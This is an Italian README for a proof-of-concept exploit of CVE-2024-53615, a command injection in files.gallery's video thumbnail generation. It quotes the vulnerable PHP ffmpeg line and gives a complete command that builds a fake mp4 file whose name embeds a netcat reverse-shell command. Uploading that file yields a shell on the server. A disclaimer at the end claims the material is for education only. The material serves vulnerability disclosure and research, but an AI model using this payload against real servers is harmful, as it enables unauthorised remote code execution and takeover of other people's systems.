
CVE-2024-53615
Una vulnerabilità di command injection nel componente di rendering delle miniature video di files.gallery di Karl Ward, versioni v0.3.0 fino a 0.11.0, consente a un attaccante remoto di eseguire codice arbitrario tramite un file video appositamente predisposto.
Prerequisiti:
ffmpeg in PATHconfig.php: 'allow_upload' => trueexec deve essere abilitato nella configurazione PHPLa vulnerabilità si trova nella riga seguente (estratta dalla versione 0.9.12), che genera le anteprime video:
$cmd = $ffmpeg_path . ' -ss 3 -t 1 -hide_banner -i "' . str_replace('"', '\"', $this->path) . '" -frames:v 1 -an -vf "thumbnail,scale=480:320:force_original_aspect_ratio=increase,crop=480:320" -r 1 -y -f mjpeg "' . $cache . '" 2>&1';
Dato che $this->path è controllabile dall'utente, possiamo costruire un file malizioso il cui titolo è una sostituzione di comando bash. È importante che questo file contenga, ad esempio, i magic byte mp4 e che il nome del file termini con .mp4:
$ echo "AAAAIGZ0eXBpc29tAAACAGlzb21pc28yYXZjMW1wNDEAAQv7bW9vdgAAAGxtdmhk" | base64 -d > '$(nc 127.0.0.1 8443 -e bash).mp4'
Se carichiamo questo file e aggiorniamo la pagina per forzare l'applicazione a caricarlo, otteniamo una shell sulla nostra macchina locale.
Nota: il comando è memorizzato nel nome del file, quindi le possibilità di reverse shell sono limitate a causa dei vincoli di lunghezza del nome.
Questo repository è inteso esclusivamente a scopo educativo e di ricerca.
Avvertenza sull'uso improprio: L'utilizzo di questo strumento per attività non autorizzate o malevole è severamente vietato e può violare leggi locali, statali o internazionali. L'autore non è responsabile per qualsiasi uso improprio di questo codice.
Ottenere sempre la dovuta autorizzazione prima di implementare questo strumento in qualsiasi ambiente. Utilizzando questo progetto, accetti di utilizzarlo in modo responsabile ed etico.